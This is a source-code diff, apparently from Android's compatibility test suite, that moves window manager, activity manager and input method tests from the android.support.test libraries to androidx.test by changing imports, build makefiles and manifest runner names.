import java.util.List;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
index 24b384b..a9a7271 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
@@ -4,10 +4,11 @@
import android.app.Activity;
import android.server.am.lifecycle.LifecycleLog.ActivityCallback;
-import android.support.test.runner.lifecycle.ActivityLifecycleCallback;
-import android.support.test.runner.lifecycle.Stage;
import android.util.Pair;
+import androidx.test.runner.lifecycle.ActivityLifecycleCallback;
+import androidx.test.runner.lifecycle.Stage;
+
import java.util.ArrayList;
import java.util.List;
import java.util.function.BooleanSupplier;
diff --git a/tests/framework/base/activitymanager/testsdk25/Android.mk b/tests/framework/base/activitymanager/testsdk25/Android.mk
index e55d5f0..c01c2a9 100644
--- a/tests/framework/base/activitymanager/testsdk25/Android.mk
+++ b/tests/framework/base/activitymanager/testsdk25/Android.mk
@@ -27,7 +27,7 @@
LOCAL_SDK_VERSION := 25
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test
+ androidx.test.rules
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml b/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
index f216411..8d3e539 100644
--- a/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
@@ -30,7 +30,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.server.cts.am.testsdk25" />
</manifest>
diff --git a/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
index ce83d59..7d6bd49 100644
--- a/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
+++ b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
@@ -20,8 +20,9 @@
import android.app.Activity;
import android.platform.test.annotations.Presubmit;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/util/Android.mk b/tests/framework/base/activitymanager/util/Android.mk
index 22dfa02..15d3412 100644
--- a/tests/framework/base/activitymanager/util/Android.mk
+++ b/tests/framework/base/activitymanager/util/Android.mk
@@ -25,8 +25,9 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
platformprotosnano \
- compatibility-device-util \
- android-support-test
+ compatibility-device-util-axt \
+ androidx.test.rules \
+ hamcrest-library
LOCAL_MODULE := cts-amwm-util
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
index d50e622..11ecd4f 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
@@ -31,7 +31,8 @@
import android.graphics.Rect;
import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import com.android.server.am.nano.ActivityDisplayProto;
import com.android.server.am.nano.ActivityManagerServiceDumpActivitiesProto;
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index 5c5ac89..192a1ac 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -72,22 +72,22 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import static java.lang.Integer.toHexString;
-
import android.accessibilityservice.AccessibilityService;
import android.app.Activity;
import android.app.ActivityManager;
import android.content.ComponentName;
import android.content.Context;
-import android.graphics.Bitmap;
import android.content.Intent;
+import android.graphics.Bitmap;
import android.os.Bundle;
import android.os.SystemClock;
import android.provider.Settings;
import android.server.am.settings.SettingsSession;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
import com.android.compatibility.common.util.SystemUtil;
@@ -98,6 +98,8 @@
import org.junit.runner.Description;
import org.junit.runners.model.Statement;
+import static java.lang.Integer.toHexString;
+
import java.io.IOException;
import java.util.Arrays;
import java.util.HashMap;
@@ -111,9 +113,6 @@
import java.util.stream.Collectors;
import java.util.stream.IntStream;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
public abstract class ActivityManagerTestBase {
private static final boolean PRETEND_DEVICE_SUPPORTS_PIP = false;
private static final boolean PRETEND_DEVICE_SUPPORTS_FREEFORM = false;
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/UiDeviceUtils.java b/tests/framework/base/activitymanager/util/src/android/server/am/UiDeviceUtils.java
index 0283d85..4f99b0a 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/UiDeviceUtils.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/UiDeviceUtils.java
@@ -17,23 +17,25 @@
package android.server.am;
import static android.server.am.StateLogger.logE;
-import static android.support.test.InstrumentationRegistry.getContext;
import static android.view.KeyEvent.KEYCODE_APP_SWITCH;
import static android.view.KeyEvent.KEYCODE_MENU;
import static android.view.KeyEvent.KEYCODE_SLEEP;
import static android.view.KeyEvent.KEYCODE_WAKEUP;
import static android.view.KeyEvent.KEYCODE_WINDOW;
+import static androidx.test.InstrumentationRegistry.getContext;
+
import android.app.KeyguardManager;
import android.graphics.Point;
import android.os.PowerManager;
import android.os.RemoteException;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
import android.util.Log;
import android.view.KeyEvent;
+import androidx.test.InstrumentationRegistry;
+
import java.util.function.BooleanSupplier;
/**
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
index 3d30f66..746fc16 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
@@ -30,10 +30,11 @@
import android.graphics.Rect;
import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
+import android.view.nano.DisplayInfoProto;
+
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.view.nano.DisplayInfoProto;
+import androidx.test.InstrumentationRegistry;
import com.android.server.wm.nano.AppTransitionProto;
import com.android.server.wm.nano.AppWindowTokenProto;
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/settings/SettingsSession.java b/tests/framework/base/activitymanager/util/src/android/server/am/settings/SettingsSession.java
index b84995b..636a32c 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/settings/SettingsSession.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/settings/SettingsSession.java
@@ -3,10 +3,11 @@
import android.content.ContentResolver;
import android.net.Uri;
import android.provider.Settings.SettingNotFoundException;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
import android.util.Log;
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
import java.util.HashMap;
import java.util.Map;
diff --git a/tests/framework/base/windowmanager/Android.mk b/tests/framework/base/windowmanager/Android.mk
index 850e7ad..f7e002c 100644
--- a/tests/framework/base/windowmanager/Android.mk
+++ b/tests/framework/base/windowmanager/Android.mk
@@ -32,8 +32,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- android-support-test \
+ compatibility-device-util-axt \
+ androidx.test.rules hamcrest-library \
platform-test-annotations \
cts-amwm-util
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index aee8390..f9ff0f4 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -41,7 +41,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.server.cts.wm"
android:label="CTS tests of WindowManager">
</instrumentation>
diff --git a/tests/framework/base/windowmanager/alertwindowservice/Android.mk b/tests/framework/base/windowmanager/alertwindowservice/Android.mk
index cd72248..1975acd 100644
--- a/tests/framework/base/windowmanager/alertwindowservice/Android.mk
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.mk
@@ -20,7 +20,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-am-app-base \
- compatibility-device-util \
+ compatibility-device-util-axt \
LOCAL_SRC_FILES := \
$(call all-java-files-under, src) \
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
index 166037f..550e270 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
@@ -16,29 +16,13 @@
package android.server.wm;
-import android.app.AppOpsManager;
-import android.os.Process;
-import android.support.test.InstrumentationRegistry;
-import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.FlakyTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.AppOpsUtils;
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.IOException;
-import java.util.concurrent.TimeUnit;
-
-import static android.support.test.InstrumentationRegistry.getContext;
-
import static android.app.AppOpsManager.MODE_ALLOWED;
import static android.app.AppOpsManager.MODE_ERRORED;
import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
import static android.app.AppOpsManager.OP_SYSTEM_ALERT_WINDOW;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.mockito.ArgumentMatchers.anyBoolean;
@@ -50,6 +34,26 @@
import static org.mockito.Mockito.timeout;
import static org.mockito.Mockito.verify;
+import android.app.AppOpsManager;
+import android.os.Process;
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.concurrent.TimeUnit;
+
/**
* Test whether system alert window properly interacts with app ops.
*
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
index 5d087a7..87442df 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
@@ -31,8 +31,8 @@
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
-import android.content.res.Configuration;
import android.content.ServiceConnection;
+import android.content.res.Configuration;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
@@ -42,10 +42,11 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
import android.server.wm.alertwindowservice.AlertWindowService;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.SystemUtil;
import org.junit.After;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 5d26234..ca425d3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -37,12 +37,13 @@
import android.content.Context;
import android.graphics.Point;
import android.os.RemoteException;
-import android.platform.test.annotations.AppModeFull;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 0946221..c7208f3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -40,8 +40,9 @@
import android.server.am.WaitForValidActivityState;
import android.server.am.WindowManagerState;
import android.server.am.WindowManagerState.WindowState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
import org.junit.Ignore;
import org.junit.Rule;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
index c08dc08..72f3e33 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
@@ -41,15 +41,16 @@
import android.graphics.Rect;
import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.DisplayCutout;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowInsets;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.hamcrest.CustomTypeSafeMatcher;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/LocationInWindowTests.java b/tests/framework/base/windowmanager/src/android/server/wm/LocationInWindowTests.java
index 1272237..5ba8474 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/LocationInWindowTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/LocationInWindowTests.java
@@ -31,11 +31,6 @@
import android.graphics.Point;
import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Gravity;
import android.view.View;
import android.view.ViewGroup;
@@ -43,6 +38,12 @@
import android.view.WindowManager.LayoutParams;
import android.widget.FrameLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.hamcrest.Matcher;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
index 6808973..f9552d4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
@@ -39,11 +39,6 @@
import android.graphics.Point;
import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Gravity;
import android.view.View;
import android.view.ViewGroup;
@@ -51,6 +46,12 @@
import android.view.WindowManager.LayoutParams;
import android.widget.FrameLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.BitmapUtils;
import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
index a27ffd9..accc9cf 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
@@ -25,7 +25,8 @@
import android.content.Intent;
import android.server.am.ActivityManagerTestBase;
import android.server.am.WindowManagerState.WindowState;
-import android.support.test.rule.ActivityTestRule;
+
+import androidx.test.rule.ActivityTestRule;
abstract class ParentChildTestBase<T extends Activity> extends ActivityManagerTestBase {
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
index 0d11efa..1315844 100644
--- a/tests/inputmethod/Android.mk
+++ b/tests/inputmethod/Android.mk
@@ -29,9 +29,9 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
CtsMockInputMethod
LOCAL_SRC_FILES := \
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index b9c0ef4..67f198c 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -82,7 +82,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests of android.view.inputmethod"
android:targetPackage="android.view.inputmethod.cts">
<meta-data
diff --git a/tests/inputmethod/mockime/Android.mk b/tests/inputmethod/mockime/Android.mk
index 5cfed53..2265b34 100644
--- a/tests/inputmethod/mockime/Android.mk
+++ b/tests/inputmethod/mockime/Android.mk
@@ -25,6 +25,6 @@
LOCAL_JAVA_LIBRARIES := junit
LOCAL_STATIC_JAVA_LIBRARIES := \
androidx.annotation_annotation \
- compatibility-device-util
+ compatibility-device-util-axt
include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
index a5a853c..8d9890d 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
@@ -25,9 +25,6 @@
import android.content.ClipDescription;
import android.net.Uri;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.Selection;
import android.text.Spannable;
@@ -42,6 +39,10 @@
import android.view.inputmethod.InputMethodManager;
import android.view.inputmethod.cts.util.InputConnectionTestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/CompletionInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/CompletionInfoTest.java
index 9a8d206..7ce1e99 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/CompletionInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/CompletionInfoTest.java
@@ -20,10 +20,11 @@
import static org.junit.Assert.assertNotNull;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.inputmethod.CompletionInfo;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
index 1557511..5a5744f 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
@@ -26,13 +26,14 @@
import android.os.Bundle;
import android.os.LocaleList;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.test.MoreAsserts;
import android.text.TextUtils;
import android.util.Printer;
import android.view.inputmethod.EditorInfo;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java
index 3e12579..dce10de 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertEquals;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.inputmethod.ExtractedTextRequest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
index d4dccce..222e06e 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
@@ -20,14 +20,15 @@
import android.graphics.Typeface;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Spannable;
import android.text.SpannableStringBuilder;
import android.text.Spanned;
import android.text.style.StyleSpan;
import android.view.inputmethod.ExtractedText;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 9b3034e..6dc6840 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -34,9 +34,6 @@
import android.os.IBinder;
import android.os.Process;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.View;
import android.view.inputmethod.EditorInfo;
@@ -50,6 +47,10 @@
import android.widget.PopupWindow;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.cts.mockime.ImeCommand;
import com.android.cts.mockime.ImeEvent;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputBindingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputBindingTest.java
index 6af7cdc..a2f041c 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputBindingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputBindingTest.java
@@ -22,13 +22,14 @@
import android.os.Binder;
import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.inputmethod.BaseInputConnection;
import android.view.inputmethod.InputBinding;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
index 71abacc..c949793 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
@@ -33,8 +33,6 @@
import android.content.ClipDescription;
import android.net.Uri;
import android.os.Bundle;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.KeyEvent;
import android.view.inputmethod.CompletionInfo;
@@ -45,6 +43,9 @@
import android.view.inputmethod.InputConnectionWrapper;
import android.view.inputmethod.InputContentInfo;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.ArgumentCaptor;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputContentInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputContentInfoTest.java
index 777b6d8..5a4b24f 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputContentInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputContentInfoTest.java
@@ -22,10 +22,11 @@
import android.content.ClipDescription;
import android.net.Uri;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.inputmethod.InputContentInfo;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
index 11cb412..e585906 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
@@ -33,9 +33,6 @@
import android.content.pm.ServiceInfo;
import android.os.Parcel;
import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.util.Printer;
import android.view.inputmethod.InputMethod;
@@ -43,6 +40,10 @@
import android.view.inputmethod.InputMethodManager;
import android.view.inputmethod.InputMethodSubtype;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
index 8400c53..6249e99 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
@@ -28,11 +28,7 @@
import android.app.Instrumentation;
import android.content.Context;
import android.content.Intent;
-import androidx.annotation.NonNull;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.View;
import android.view.inputmethod.EditorInfo;
@@ -45,6 +41,11 @@
import android.widget.LinearLayout;
import android.widget.LinearLayout.LayoutParams;
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
index 300f573..1f4fec2 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
@@ -31,9 +31,6 @@
import android.app.Instrumentation;
import android.inputmethodservice.InputMethodService;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.KeyEvent;
import android.view.inputmethod.cts.util.EndToEndImeTestBase;
@@ -41,6 +38,10 @@
import android.widget.EditText;
import android.widget.LinearLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.cts.mockime.ImeCommand;
import com.android.cts.mockime.ImeEvent;
import com.android.cts.mockime.ImeEventStream;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardTest.java
index fb0e542..82c5960 100644
